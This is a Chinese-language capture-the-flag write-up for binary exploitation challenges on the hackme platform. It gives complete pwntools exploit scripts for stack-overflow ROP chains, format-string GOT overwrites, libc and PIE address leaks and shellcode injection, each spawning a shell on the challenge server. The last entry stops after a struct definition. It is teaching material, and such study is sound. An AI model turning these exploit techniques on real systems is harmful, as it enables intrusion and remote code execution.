hackme-pwn

发现一个的ctf平台,感觉学到了挺多东西:hackme

catflag

nc 连接上去,一个cat flag命令就出来了

homework

这是一道数组下标溢出的题目,仅仅通过计算就可以知道ret的位置在arr[14]的地方 直接简单地绕开了cannry保护

#!python
#coding:utf-8

from pwn import *
#p=process('./homework')
p=remote('hackme.inndy.tw', 7701)

binsh = 0x080485fb
print str(binsh)
p.recvuntil("What's your name? ")
p.sendline("your_dad")
p.recvuntil("4 > dump all numbers\n")
p.recvuntil(" > ")
p.sendline("1")

p.recvuntil("Index to edit: ")
p.sendline("14")

p.recvuntil("How many? ")
p.sendline(str(binsh))
p.sendline("0")
p.interactive()



ROP

这道题是简单的栈溢出+rop,可以有多种解法,但这里就使用system call的方法

我们可以查到execve的系统调用号为0x0b,而在系统调用时,eax是存放系统调用号,ebx,ecx,edx分别存放前3个参数,esi存放第4个参数,edi存放第5个参数,而Linux系统调用最多支持5个单独参数。如果实际参数超过5个,那么使用一个参数数组,并且将该数组的地址存放在ebx中。

0x080b8016 : pop eax ; ret
0x0806ed00 : pop edx ; pop ecx ; pop ebx ; ret
0x0806c943 : int 0x80

0x080de769 : pop ecx ; ret

0x0804b5ba : pop dword ptr [ecx] ; ret

exp:

#!python
#coding:utf-8
from pwn import *
#p=process('./rop')
elf = ELF("./rop")

p=remote('hackme.inndy.tw', 7704)
bss = elf.bss()#0x80eaf80
pop_eax_ret = 0x080b8016
pop_edx_ecx_ebx_ret = 0x0806ed00
int_0x80 = 0x0806c943
pop_ecx = 0x080de769
pop_write2ecx = 0x0804b5ba

payload = 'a' * (0x0c+0x04)
payload += p32(pop_ecx) + p32(bss)
payload += p32(pop_write2ecx) + '/bin'
payload += p32(pop_ecx) + p32(bss+4)
payload += p32(pop_write2ecx) + '/sh\x00'

payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(pop_edx_ecx_ebx_ret) + p32(0x00) + p32(0x00) + p32(bss)
payload +=p32(int_0x80)

p.sendline(payload)
p.interactive()


还可以用ropgadget直接构造rop链直接getshell


from pwn import *  
from struct import pack  

sh = remote('hackme.inndy.tw',7704)  
junk = 'a'*12 + "BBBB" # junk + ebp  
  
p = junk  
p += pack('<I', 0x0806ecda) # pop edx ; ret  
p += pack('<I', 0x080ea060) # @ .data  
p += pack('<I', 0x080b8016) # pop eax ; ret  
p += '/bin'  
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret  
p += pack('<I', 0x0806ecda) # pop edx ; ret  
p += pack('<I', 0x080ea064) # @ .data + 4  
p += pack('<I', 0x080b8016) # pop eax ; ret  
p += '//sh'  
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret  
p += pack('<I', 0x0806ecda) # pop edx ; ret  
p += pack('<I', 0x080ea068) # @ .data + 8  
p += pack('<I', 0x080492d3) # xor eax, eax ; ret  
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret  
p += pack('<I', 0x080481c9) # pop ebx ; ret  
p += pack('<I', 0x080ea060) # @ .data  
p += pack('<I', 0x080de769) # pop ecx ; ret  
p += pack('<I', 0x080ea068) # @ .data + 8  
p += pack('<I', 0x0806ecda) # pop edx ; ret  
p += pack('<I', 0x080ea068) # @ .data + 8  
p += pack('<I', 0x080492d3) # xor eax, eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0807a66f) # inc eax ; ret  
p += pack('<I', 0x0806c943) # int 0x80  
  
sh.sendline(p)  
sh.interactive()

ROP2

#!python
#coding:utf-8
from pwn import *
#p=process('./rop2')
elf = ELF("./rop2")
context.log_level="debug" 
p=remote('hackme.inndy.tw', 7703)

syscall = elf.symbols['syscall']  
overflow = elf.symbols['overflow']   
bss = elf.bss()
print hex(syscall)
print hex(overflow)
print hex(bss)

p.recv()
payload = 'a'*(0x0c+0x04)
payload += p32(syscall)+p32(overflow)+p32(3)+p32(0)+p32(bss)+p32(8)
p.sendline(payload)
p.send("/bin/sh\x00")#这个地方很坑,一定要用send才行,用sendline就不行

payload1 = 'a'*(0x0c+0x04)
payload1 +=p32(syscall)+p32(0xdeadbeef)+p32(0xb)+p32(bss)+p32(0)+p32(0)
p.sendline(payload1)
p.interactive()


toooomuch

#!python
#coding:utf-8
from pwn import *
#p=process('./rop')
elf = ELF("./toooomuch")
p=remote('hackme.inndy.tw', 7702)
flag = 0x0804863b

payload = 'a'*(0x18+0x04)
payload += p32(flag)

p.recvuntil("Give me your passcode: ")
p.sendline(payload)
p.recv()
p.interactive()

toooomuch-2

#!python
#coding:utf-8
from pwn import *
#p=process('./rop')
elf = ELF("./toooomuch2")

p=remote('hackme.inndy.tw', 7702)
gets = elf.symbols['gets']
bss = elf.bss()

payload = 'a'*28
payload += p32(gets)+p32(bss)+p32(bss)
p.recvuntil("Give me your passcode: ")
p.sendline(payload)
p.sendline(asm(shellcraft.sh()))

p.interactive()


smashthestack

这题利用的ssp报错的方法泄漏出flag,在ctf-wiki中有介绍:传送门

#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

#p=process('./smash')
p=remote('hackme.inndy.tw', 7717)
argv_addr=0xffffcfa4

buf_addr=0xffffcee8

flag_addr=0x804a060

payload = 'a'*(argv_addr-buf_addr) +p32(flag_addr)

p.recvuntil('the flag')
p.sendline(payload)

p.interactive()


echo

1538461949970

#encoding:utf-8
from pwn import *
context(os="linux", arch="i386",log_level = "debug")

ip ="hackme.inndy.tw"
if ip:
	p = remote(ip,7711)
else:
	p = process("./echo")#, aslr=0

elf = ELF("./echo")
#libc = ELF("./libc-2.23.so")
libc = elf.libc
#-------------------------------------
def sl(s):
	p.sendline(s)
def sd(s):
	p.send(s)
def rc(timeout=0):
	if timeout == 0:
		return p.recv()
	else:
		return p.recv(timeout=timeout)
def ru(s, timeout=0):
	if timeout == 0:
		return p.recvuntil(s)
	else:
		return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
    gdb.attach(p,'')
    pause()
def getshell():
	p.interactive()
#-------------------------------------

system_plt = elf.plt["system"]
printf_got = elf.got["printf"]

payload = fmtstr_payload(7,{printf_got:system_plt})

sl(payload)
sleep(1)
sl("/bin/sh")
getshell()

直接改了printf的got表为system函数的plt表,接着输入参数/bin/sh,即可getshell

echo2

1538461968747

这题是64位下的格式化字符串漏洞,漏洞点跟上一题差不多

但是有很多小的坑点,需要注意一下

  1. 64位的程序函数地址存在’\x00’截断,所以要将函数地址放到最后(不能用fmtstr_payload这个工具,它只适合用于32位)
  2. 控制好函数地址的相对偏移,
  3. PIE: 是位置无关的可执行程序,用于生成位置无关的可执行程序,所谓位置无关的可执行程序,指的是,可执行程序的代码指令集可以被加载到任意位置,进程通过相对地址获取指令操作和数据,如果不是位置无关的可执行程序,则该可执行程序的代码指令集必须放到特定的位置才可运行进程。 但是低两位字节是固定的,可以通过这个泄露出程序基地址

1538480072964

通过gdb的调试,可以发现main+74的地址可以泄漏出程序的基地址,因为就算是开了PIE,后三位也是不变的,在IDA中也可以看到的确存在a03这个地址,因此0x555555554a03-0xa03就是程序的基地址,之后对地址的一切操作都要先加上这个elf_base才能得出正确的地址

而这个地方的格式化字符串的偏移是41,可通过%p泄漏出来

其次,也可以发现stack中有__libc_start_main+240的地址,也同样可以通过这种方式泄漏出libc,但这里有个比较迷的地方是,不能用libc-database来泄漏出libc的版本,搜出来的结果是错误的,只有通过下载hackme上面的libc,然后用onegadget得出地址

这个地方的格式化字符串的偏移是43,可通过%p泄漏出来

1538479970941

在进行任意地址写的操作的时候,要注意每次写双字节,写三次

exp如下:

#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")

ip ="hackme.inndy.tw"
if ip:
	p = remote(ip,7712)
else:
	p = process("./echo2")#, aslr=0

elf = ELF("./echo2")
libc = ELF("./libc-2.23.so.x86_64")#hackme网站下载
#libc = elf.libc
#-------------------------------------
def sl(s):
	p.sendline(s)
def sd(s):
	p.send(s)
def rc(timeout=0):
	if timeout == 0:
		return p.recv()
	else:
		return p.recv(timeout=timeout)
def ru(s, timeout=0):
	if timeout == 0:
		return p.recvuntil(s)
	else:
		return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
    gdb.attach(p,'')
    pause()
def getshell():
	p.interactive()
#-------------------------------------
sl("%43$p")

start =int(p.recvline(),16)-240
libc_base = start -libc.symbols["__libc_start_main"]

sl("%41$p")
elf_base =int(p.recvline(),16)-0xa03
print "elf_base---->"+hex(elf_base)

one_gadget = 0xf0897+libc_base

exit_got = elf.got["exit"]+elf_base
printf_got = elf.got["printf"]+elf_base
system = libc.symbols["system"]+libc_base
print "start-->"+hex(start)
print "printf_got-->"+hex(printf_got)
print "exit_plt-->"+hex(exit_got)
print "libc_base-->"+hex(libc_base)
print "one_gadget-->"+hex(one_gadget)

hex_one_gadget = hex(one_gadget)

paylaod1="a"*19+"%"+str(int(hex_one_gadget[-4:],16)-19)+"c"+"%10$hn"+p64(exit_got)
paylaod2="a"*19+"%"+str(int(hex_one_gadget[-8:-4],16)-19)+"c"+"%10$hn"+p64(exit_got+2)
paylaod3="a"*19+"%"+str(int(hex_one_gadget[-12:-8],16)-19)+"c"+"%10$hn"+p64(exit_got+4)


sl(paylaod1)
sleep(1)
sl(paylaod2)
sleep(1)
sl(paylaod3)
sleep(1)
sl("exit")


getshell()

参考大佬wp:

https://www.jianshu.com/p/2cd39e58e847

https://www.jianshu.com/p/76152d477322

echo3

1538461986984

这题又更骚一层楼,

1538714455648

1538714497658

从IDA中可以看到,这题的格式化字符串是在bss段里面的,这样一来就不好操作了,于是我们就需要在栈里面找到指向栈的指针,来进行写入的操作

我们知道%x$n的作用是,向第x个参数的位置写入内容,如果这个位置上的又是一个指针的话,则向这个指针所指的地方写入内容,这种用法参考hitcon-training的lab9那题

然而这题,最坑的地方是在这个alloca函数,v3 = alloca(16 * (((buf & 0x3039u) + 30) / 0x10));在调用hardfmt函数之前,这句会造成栈的分布会很随机很蛇皮

来看一下这地方的汇编代码:

1538716832863

这里的sub语句,会造成栈向下长,而且很随机,这样我们就无从所知栈的分布是怎么样的,如果此时在printf函数调用之前,下个断点,在gdb中看栈的分布,是这样的:

gef  stack 100
0000| 0xffffadbc --> 0x804864b (<hardfmt+133>:	add    esp,0x10)
0004| 0xffffadc0 --> 0x804a080 ("aaaa\n")
0008| 0xffffadc4 --> 0x804a080 ("aaaa\n")
0012| 0xffffadc8 --> 0x1000 
0016| 0xffffadcc --> 0x0 
0020| 0xffffadd0 --> 0xf2beb39d 
0024| 0xffffadd4 --> 0x0 
0028| 0xffffadd8 --> 0x0 
0032| 0xffffaddc --> 0x0 
0036| 0xffffade0 --> 0x0 
0040| 0xffffade4 --> 0x0 
0044| 0xffffade8 --> 0x0 
0048| 0xffffadec --> 0x80485d2 (<hardfmt+12>:	add    ebx,0x1a2e)
0052| 0xffffadf0 --> 0x0 
0056| 0xffffadf4 --> 0x0 
0060| 0xffffadf8 --> 0xffffadd0 --> 0xf2beb39d 
0064| 0xffffadfc --> 0x39d9b700 
0068| 0xffffae00 --> 0x0 
0072| 0xffffae04 --> 0x804a000 --> 0x8049f10 --> 0x1 
0076| 0xffffae08 --> 0xffffce98 --> 0x0 
0080| 0xffffae0c --> 0x804877b (<main+236>:	mov    eax,0x0)
0084| 0xffffae10 --> 0x0 
0088| 0xffffae14 --> 0x0 
0092| 0xffffae18 --> 0x0 
0096| 0xffffae1c --> 0x0 
0100| 0xffffae20 --> 0x0 
0104| 0xffffae24 --> 0x0 
0108| 0xffffae28 --> 0x0 
0112| 0xffffae2c --> 0x0 
0116| 0xffffae30 --> 0x0 
0120| 0xffffae34 --> 0x0 
0124| 0xffffae38 --> 0x0 
0128| 0xffffae3c --> 0x0 
0132| 0xffffae40 --> 0x0 
0136| 0xffffae44 --> 0x0 
0140| 0xffffae48 --> 0x0 
0144| 0xffffae4c --> 0x0 
0148| 0xffffae50 --> 0x0 
0152| 0xffffae54 --> 0x0 
0156| 0xffffae58 --> 0x0 
0160| 0xffffae5c --> 0x0 
0164| 0xffffae60 --> 0x0 
0168| 0xffffae64 --> 0x0 
0172| 0xffffae68 --> 0x0 
0176| 0xffffae6c --> 0x0 
0180| 0xffffae70 --> 0x0 
0184| 0xffffae74 --> 0x0 

是不是很蛇皮,看到的根本不是很正常的栈结构,栈的底部全部都是0 ,本来应该有main函数的返回地址,和程序最开始环境变量

v3 = alloca(16 * (((buf & 0x3039u) + 30) / 0x10));

这一句造成了上面那种蛇皮栈的情况,通过测试,我们可以发现:

import random
for x in xrange(1,50):
    buf= random.randint(0,0xffffffff)
    a=16 * (((buf & 0x3039) + 30) / 0x10)
    print "aaaaaa-->"+hex(a)
'''
输出:
aaaaaa-->0x3040
aaaaaa-->0x2030
aaaaaa-->0x3040
aaaaaa-->0x40
aaaaaa-->0x2020
aaaaaa-->0x2040
aaaaaa-->0x40
aaaaaa-->0x30
aaaaaa-->0x3030
aaaaaa-->0x1010
aaaaaa-->0x3040
aaaaaa-->0x1030
aaaaaa-->0x2040
aaaaaa-->0x1020
aaaaaa-->0x2030
aaaaaa-->0x50
aaaaaa-->0x3020
aaaaaa-->0x2020
aaaaaa-->0x1040
aaaaaa-->0x3040
aaaaaa-->0x30
aaaaaa-->0x1030
aaaaaa-->0x30
aaaaaa-->0x2020
aaaaaa-->0x2010
aaaaaa-->0x20
aaaaaa-->0x3020
aaaaaa-->0x1050
aaaaaa-->0x20
aaaaaa-->0x50
aaaaaa-->0x1010
aaaaaa-->0x1020
aaaaaa-->0x3050
aaaaaa-->0x1020
aaaaaa-->0x2040
aaaaaa-->0x40
aaaaaa-->0x40
aaaaaa-->0x10
aaaaaa-->0x1020
aaaaaa-->0x3040
aaaaaa-->0x30
aaaaaa-->0x2020
aaaaaa-->0x3020
aaaaaa-->0x30
aaaaaa-->0x40
aaaaaa-->0x1040
aaaaaa-->0x20
aaaaaa-->0x1030
aaaaaa-->0x1020
'''

这里会造成分配0x10,0x20,0x30,0x40,0x50,0x1020,0x1030等的栈空间,也就是会导致esp-这些数值之一

那我们要得出正常的栈分布情况的话,就需要在gdb调试里面把这些被减去的加回来(这里用0x20 做例子)

首先在text:08048774 sub esp, eax下个断点,设置set $eax=0x20

然后在printf函数下个断点,接着c一下继续运行

就可以看到正常的栈分布空间了:

0000| 0xffffcdec --> 0x804864b (<hardfmt+133>:	add    esp,0x10)
0004| 0xffffcdf0 --> 0x804a080 ("%43$p-%42$p-%30$p-%31$p\n")
0008| 0xffffcdf4 --> 0x804a080 ("%43$p-%42$p-%30$p-%31$p\n")//偏移1
0012| 0xffffcdf8 --> 0x1000 
0016| 0xffffcdfc --> 0x1 
0020| 0xffffce00 --> 0x5f8bfd11 
0024| 0xffffce04 --> 0x804829c --> 0x62696c00 ('')
0028| 0xffffce08 --> 0xf7ffd918 --> 0x0 
0032| 0xffffce0c --> 0x0 
0036| 0xffffce10 --> 0xffffce4e --> 0x30804 
0040| 0xffffce14 --> 0xf7e05018 --> 0x3eab 
0044| 0xffffce18 --> 0xf7e5a21b (<__GI__IO_setbuffer+11>)
0048| 0xffffce1c --> 0x80485d2 (<hardfmt+12>)
0052| 0xffffce20 --> 0xf7fe77eb (<_dl_fixup+11>)
0056| 0xffffce24 --> 0x0 
0060| 0xffffce28 --> 0xffffce00 --> 0x5f8bfd11 
0064| 0xffffce2c --> 0x36a9a200 
0068| 0xffffce30 --> 0xffffce98 --> 0x0 
0072| 0xffffce34 --> 0x804a000 --> 0x8049f10 --> 0x1 
0076| 0xffffce38 --> 0xffffce98 --> 0x0 
0080| 0xffffce3c --> 0x804877b (<main+236>)
0084| 0xffffce40 --> 0x804a000 --> 0x8049f10 --> 0x1//leak_stack-0x10c
0088| 0xffffce44 --> 0x804a060 --> 0x5f8bfd11 //leak_stack-0x108
0092| 0xffffce48 --> 0xf7ed02ac (<__close_nocancel+18>)
0096| 0xffffce4c --> 0x804874a (<main+187>)
0100| 0xffffce50 --> 0x3 
0104| 0xffffce54 --> 0x804a060 --> 0x5f8bfd11 
0108| 0xffffce58 --> 0x4 
0112| 0xffffce5c --> 0x80486a6 (<main+23>)
0116| 0xffffce60 --> 0x8000 
0120| 0xffffce64 --> 0xf7fac000 --> 0x1b1db0 
0124| 0xffffce68 --> 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")//偏移30
0128| 0xffffce6c --> 0xffffcf44 --> 0xffffd150 ("./echo3")//偏移31
0132| 0xffffce70 --> 0x1 
0136| 0xffffce74 --> 0x0 
0140| 0xffffce78 --> 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")
0144| 0xffffce7c --> 0x3 
0148| 0xffffce80 --> 0xba42216b 
0152| 0xffffce84 --> 0x3fb24399 
0156| 0xffffce88 --> 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")
0160| 0xffffce8c --> 0x36a9a200 
0164| 0xffffce90 --> 0xffffceb0 --> 0x1 
0168| 0xffffce94 --> 0x0 
0172| 0xffffce98 --> 0x0 
0176| 0xffffce9c --> 0xf7e12637 (<__libc_start_main+247>)//偏移43,泄漏libc
0180| 0xffffcea0 --> 0xf7fac000 --> 0x1b1db0 
0184| 0xffffcea4 --> 0xf7fac000 --> 0x1b1db0 
0188| 0xffffcea8 --> 0x0 
0192| 0xffffceac --> 0xf7e12637 (<__libc_start_main+247>)
0196| 0xffffceb0 --> 0x1 
0200| 0xffffceb4 --> 0xffffcf44 --> 0xffffd150 ("./echo3")
0204| 0xffffceb8 --> 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")
0208| 0xffffcebc --> 0x0 
0212| 0xffffcec0 --> 0x0 
0216| 0xffffcec4 --> 0x0 
0220| 0xffffcec8 --> 0xf7fac000 --> 0x1b1db0 
0224| 0xffffcecc --> 0xf7ffdc04 --> 0x0 
0228| 0xffffced0 --> 0xf7ffd000 --> 0x23f3c 
0232| 0xffffced4 --> 0x0 
0236| 0xffffced8 --> 0xf7fac000 --> 0x1b1db0 
0240| 0xffffcedc --> 0xf7fac000 --> 0x1b1db0 
0244| 0xffffcee0 --> 0x0 
0248| 0xffffcee4 --> 0x8c4d349 
0252| 0xffffcee8 --> 0x35125d59 
0256| 0xffffceec --> 0x0 
0260| 0xffffcef0 --> 0x0 
0264| 0xffffcef4 --> 0x0 
0268| 0xffffcef8 --> 0x1 
0272| 0xffffcefc --> 0x80484b0 (<_start>)
0276| 0xffffcf00 --> 0x0 
0280| 0xffffcf04 --> 0xf7fee010 (<_dl_runtime_resolve+16>)
0284| 0xffffcf08 --> 0xf7fe8880 (<_dl_fini>)
0288| 0xffffcf0c --> 0x804a000 --> 0x8049f10 --> 0x1 
0292| 0xffffcf10 --> 0x1 
0296| 0xffffcf14 --> 0x80484b0 (<_start>)
--More--(75/100)
0300| 0xffffcf18 --> 0x0 
0304| 0xffffcf1c --> 0x80484e2 (<_start+50>t)
0308| 0xffffcf20 --> 0x804868f (<main>)
0312| 0xffffcf24 --> 0x1 
0316| 0xffffcf28 --> 0xffffcf44 --> 0xffffd150 ("./echo3")
0320| 0xffffcf2c --> 0x80487a0 (<__libc_csu_init>:	push   ebp)
0324| 0xffffcf30 --> 0x8048800 (<__libc_csu_fini>:	repz ret)
0328| 0xffffcf34 --> 0xf7fe8880 (<_dl_fini>:	push   ebp)
0332| 0xffffcf38 --> 0xffffcf3c --> 0xf7ffd918 --> 0x0 
0336| 0xffffcf3c --> 0xf7ffd918 --> 0x0 
0340| 0xffffcf40 --> 0x1 
0344| 0xffffcf44 --> 0xffffd150 ("./echo3")//偏移85
0348| 0xffffcf48 --> 0x0 
0352| 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")//偏移87,leak_stack
0356| 0xffffcf50 --> 0xffffd184 ("XDG_SESSION_ID=c1")
0360| 0xffffcf54 --> 0xffffd196 ("LC_IDENTIFICATION=zh_CN.UTF-8")
0364| 0xffffcf58 --> 0xffffd1b4 ("LC_TELEPHONE=zh_CN.UTF-8")
0368| 0xffffcf5c --> 0xffffd1cd ("DISPLAY=:0")
0372| 0xffffcf60 --> 0xffffd1d8 ("QT_LINUX_ACCESSIBILITY_ALWAYS_ON=1")
0376| 0xffffcf64 --> 0xffffd1fb ("JOB=dbus")
0380| 0xffffcf68 --> 0xffffd204 ("GNOME_KEYRING_CONTROL=")
0384| 0xffffcf6c --> 0xffffd21b ("GNOME_DESKTOP_SESSION_ID=this-is-deprecated")
0388| 0xffffcf70 --> 0xffffd247 ("DEFAULTS_PATH=/usr/share/gconf/ubuntu.default.path")
0392| 0xffffcf74 --> 0xffffd27a ("QT_QPA_PLATFORMTHEME=appmenu-qt5")
0396| 0xffffcf78 --> 0xffffd29b ("LOGNAME=zeref")

在这里,我们就看到了正常的栈分布情况,但是这种情况会随着你上面设置的eax的值不同而不同,上面我是用set $eax=0x20作为例子的,如果你用其他的那么下面我用的偏移都会跟你的不一样

那么如果找到这一种情况呢?

我们就需要进行爆破,在上面的栈分布中可以看到:

0176| 0xffffce9c --> 0xf7e12637 (<__libc_start_main+247>)

那么如果栈分布里面出现了这样一个内容,就说明,这个栈的分布是我们想要的

爆破代码如下:

while True:
    p = process('./echo3')
    #p = remote('hackme.inndy.tw',7720)
    payload = '%43$p#%30$p'
    #43的偏移出就应该是__libc_start_main的位置,这个通过自己在gdb调试中测试出来
    #注意,gdb调试的时候用的不是set $eax=0x20,那么偏移也会不同
    p.sendline(payload)
    data = p.recvuntil('#',drop = True)
    if data[-3:] == '637':
        break
    p.close()

找到栈的分布后,我们就可以操作了

首先泄漏出栈的地址来,就在envir变量的位置就可以泄漏

接着我们发现栈里面有这些指向指针的指针:

0084| 0xffffce40 --> 0x804a000 --> 0x8049f10 --> 0x1//leak_stack-0x10c
0088| 0xffffce44 --> 0x804a060 --> 0x5f8bfd11 //leak_stack-0x108
....
0124| 0xffffce68 --> 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")//偏移30
0128| 0xffffce6c --> 0xffffcf44 --> 0xffffd150 ("./echo3")//偏移31
....
0344| 0xffffcf44 --> 0xffffd150 ("./echo3")//偏移85
0348| 0xffffcf48 --> 0x0 
0352| 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")//偏移87,leak_stack

于是我们就可以通过操作这些指针,实现间接的写,将printf的got改成system,然后发送“/bin/sh\x00”,实现getshell

具体分三步

第一:

0124| 0xffffce68 --> 0xffffcf4c --> 0xffffd175 ("XDG_SEAT=seat0")//偏移30
0128| 0xffffce6c --> 0xffffcf44 --> 0xffffd150 ("./echo3")//偏移31

改成

0124| 0xffffce68 --> 0xffffcf4c --> 0xffffce40//leak_stack-0x10c
0128| 0xffffce6c --> 0xffffcf44 --> 0xffffce44//leak_stack-0x108

第二:

0344| 0xffffcf44 --> 0xffffce40 //偏移85
0348| 0xffffcf48 --> 0x0 
0352| 0xffffcf4c --> 0xffffce44//偏移87,leak_stack

改成

0344| 0xffffcf44 --> 0xffffce40 -->printf_got//偏移85
0348| 0xffffcf48 --> 0x0 
0352| 0xffffcf4c --> 0xffffce44 -->printf_got+2//偏移87,leak_stack

第三

0084| 0xffffce40 --> printf_got -->//leak_stack-0x10c
0088| 0xffffce44 --> printf_got+2 -->  //leak_stack-0x108

改成:

0084| 0xffffce40 --> printf_got -->system+2 //leak_stack-0x10c
0088| 0xffffce44 --> printf_got+2 -->system //leak_stack-0x108

这个的核心就在于:

如果 A -> B ->C ,那么aaaa%A$n的作用是:将4赋值给C

理解了这个间接写的核心,就很容易理解上面的三次操作了

完整的exp:

#!/usr/bin/env python
from pwn import *
context.log_level='debug'

#libc = ELF('./libc-2.23.so.i386')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./echo3')
def sd(content):
    p.send(content)

def sl(content):
    p.sendline(content)

def rc():
    return p.recv()

def ru(content):
    return p.recvuntil(content)

while True:
    p = process('./echo3')
    #p = remote('hackme.inndy.tw',7720)
    payload = '%43$p#%30$p'# %43$p-%42$p-%30$p-%31$p
    p.sendline(payload)
    data = p.recvuntil('#',drop = True)
    if data[-3:] == '637':
        break
    p.close()

leak_libc = int(data,16) - 247
libc_base = leak_libc - libc.symbols['__libc_start_main']
libc.address = libc_base
log.info("libc address {}".format(hex(libc_base)))
system = libc.symbols['system']
printf_got = elf.got['printf']
leak_stack = int(p.recv().strip('\n'),16)
log.info("leak stack address{}".format(hex(leak_stack)))

stack1 = leak_stack - 0x10c
log.info("stack1 address{}".format(hex(stack1)))
stack2 = leak_stack - 0x108
log.info("stack2 address{}".format(hex(stack2)))    

log.info("change stack")
payload1 = "%{}c%{}$hn".format(stack1 & 0xffff, 30)
payload1 += "%{}c%{}$hn".format(4, 31)
payload1 += '1111'
sl(payload1)

log.info("wirte printf_got into stack")
payload2 = "%{}c%{}$hn".format(printf_got & 0xffff, 85)
payload2 += "%{}c%{}$hn".format(2, 87)
payload2 += "2222"

ru("1111\n")
sl(payload2)

log.info("change printf got")
payload3 = "%{}c%{}$hhn".format(system>> 16 & 0xff, 20)
payload3 += "%{}c%{}$hn".format((system& 0xffff) - (system >> 16 & 0xff), 21)
payload3 += "3333"
ru("2222\n")
sl(payload3)

ru("3333\n")
sl("/bin/sh\x00")
p.interactive()

另外需要注意的是在本地打的时候就得连本地的libc,不然是打不通的,打远程的时候就用hackme上面的libc

做这题,主要参考了大佬zs0zrc的博客,tql

onepunch

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found****
    NX:       NX enabled****
    PIE:      No PIE (0x400000)

这题虽然不难,但题目还挺新颖的

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+8h] [rbp-18h]
  int v5; // [rsp+Ch] [rbp-14h]
  _BYTE *v6; // [rsp+10h] [rbp-10h]
  unsigned __int64 v7; // [rsp+18h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  setbuf(_bss_start, 0LL);
  printf("Where What?", 0LL);
  v5 = __isoc99_scanf("%llx %d", &v6, &v4);//读入一个16进制数,和一个十进制数
  if ( v5 != 2 )
    return 0;
  *v6 = v4;//往16进制数的地址写入十进制数
  if ( *(_DWORD *)&v4 == 255 )
    puts("No flag for you");
  return 0;
}

也就是一个任意地址写的操作,由于只能输入一次,可实现的操作实在有限,但细细观察你会发现这个程序的text段居然是可写可执行的,这就意味着我们可以改代码的逻辑实现各种操作,相当于打patch做题

538741694706

再看main函数的汇编:会发现,如果输入的十进制数不是255,会直接跳到0x000000000400773处

那么我们只需要在这里打patch,让他跳到main函数的开头,实现无限写入操作

.text:0000000000400756
.text:0000000000400756 loc_400756:                            ; CODE XREF: main+5Bj
.text:0000000000400756                 mov     rax, [rbp-10h]
.text:000000000040075A                 mov     edx, [rbp-18h]
.text:000000000040075D                 mov     [rax], dl
.text:000000000040075F                 mov     eax, [rbp-18h]
.text:0000000000400762                 cmp     eax, 0FFh
.text:0000000000400767                 jnz     short loc_400773
.text:0000000000400769                 mov     edi, offset s   ; "No flag for you"
.text:000000000040076E                 call    _puts
.text:0000000000400773
.text:0000000000400773 loc_400773:                            ; CODE XREF: main+75j
.text:0000000000400773                 mov     eax, 0
.text:0000000000400778
.text:0000000000400778 loc_400778:                            ; CODE XREF: main+62j
.text:0000000000400778                 mov     rcx, [rbp-8]
.text:000000000040077C                 xor     rcx, fs:28h
.text:0000000000400785                 jz      short locret_40078C
.text:0000000000400787                 call    ___stack_chk_fail
.text:000000000040078C ; -----------------------------------------------------------
.text:000000000040078C
.text:000000000040078C locret_40078C:                         ; CODE XREF: main+93j
.text:000000000040078C                 leave
.text:000000000040078D                 retn
.text:000000000040078D ; } // starts at 4006F2
.text:000000000040078D main            endp
.text:000000000040078D

接着,就写入shellcode,最后再讲跳转改到shellcode的位置,就可以getshell了

exp如下:

#encoding:utf-8
from pwn import *
context(os="linux", arch="amd64",log_level = "debug")

ip =""#hackme.inndy.tw 
if ip:
	p = remote(ip,7718)
else:
	p = process("./onepunch")#, aslr=0

elf = ELF("./onepunch")
#libc = ELF("./libc-2.23.so")
libc = ELF("./libc-2.23.so.x86_64")
#libc = elf.libc
#-------------------------------------
def sl(s):
	p.sendline(s)
def sd(s):
	p.send(s)
def rc(timeout=0):
	if timeout == 0:
		return p.recv()
	else:
		return p.recv(timeout=timeout)
def ru(s, timeout=0):
	if timeout == 0:
		return p.recvuntil(s)
	else:
		return p.recvuntil(s, timeout=timeout)
def debug(msg=''):
    gdb.attach(p,'')
    pause()
def getshell():
	p.interactive()
#-------------------------------------

shell = 0x400790
ru("Where What?")
sl("0x400768")
sl("137")
shellcode = asm(shellcraft.sh())
shell_len = len(shellcode)

i=0
while i<shell_len:
	ru("Where What?")
	sl(str(hex(shell+i)))
	sl(str(ord(shellcode[i])))
	i+=1

ru("Where What?")
sl("0x400768")
sl("39")

getshell()

raas

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found***
    NX:       NX enabled****
    PIE:      No PIE (0x8048000)

这题主要利用了uaf的漏洞,还有一些chunk空间复用的小技巧,由于是32位的堆题目,在查看内存空间分布的时候还挺不习惯的

这题的 数据结构是这样的:

struct record {
    void (*print)(struct record *);
    void (*free)(struct record *);
    union {
        int integer;
        char *string;
    };
};

